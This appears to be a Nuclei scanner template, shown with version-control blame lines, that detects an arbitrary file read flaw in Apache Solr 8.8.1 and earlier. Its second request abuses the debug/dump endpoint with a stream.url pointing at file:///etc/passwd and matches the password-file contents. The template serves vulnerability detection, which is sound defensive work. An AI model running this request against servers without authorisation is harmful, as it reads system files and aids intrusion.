2021-04-23 10:19:45 +00:00
|
|
|
id: apache-solr-file-read
|
2021-04-23 10:18:04 +00:00
|
|
|
|
|
|
|
info:
|
|
|
|
name: Apache Solr <= 8.8.1 Arbitrary File Read
|
|
|
|
author: DhiyaneshDk
|
|
|
|
severity: high
|
|
|
|
tags: apache,solr,lfi
|
2021-08-18 11:37:49 +00:00
|
|
|
reference:
|
2021-08-19 14:44:46 +00:00
|
|
|
- https://twitter.com/Al1ex4/status/1382981479727128580
|
|
|
|
- https://nsfocusglobal.com/apache-solr-arbitrary-file-read-and-ssrf-vulnerability-threat-alert/
|
|
|
|
- https://twitter.com/sec715/status/1373472323538362371
|
2021-04-23 10:18:04 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
GET /solr/admin/cores?wt=json HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Accept-Language: en
|
|
|
|
Connection: close
|
|
|
|
|
|
|
|
- |
|
|
|
|
GET /solr/{{core}}/debug/dump?stream.url=file:///etc/passwd¶m=ContentStream HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Accept-Language: en
|
|
|
|
Connection: close
|
|
|
|
|
2021-08-09 16:28:28 +00:00
|
|
|
|
2021-04-23 10:18:04 +00:00
|
|
|
extractors:
|
|
|
|
- type: regex
|
2021-08-09 16:28:28 +00:00
|
|
|
internal: true
|
2021-04-23 10:18:04 +00:00
|
|
|
name: core
|
|
|
|
group: 1
|
2021-08-09 16:28:28 +00:00
|
|
|
regex:
|
|
|
|
- '"name"\:"(.*?)"'
|
2021-04-23 10:18:04 +00:00
|
|
|
|
2021-08-09 16:28:28 +00:00
|
|
|
matchers-condition: and
|
2021-04-23 10:18:04 +00:00
|
|
|
matchers:
|
2021-08-09 16:28:28 +00:00
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
|
|
|
|
|
|
|
- type: regex
|
|
|
|
regex:
|
|
|
|
- "root:.*:0:0:"
|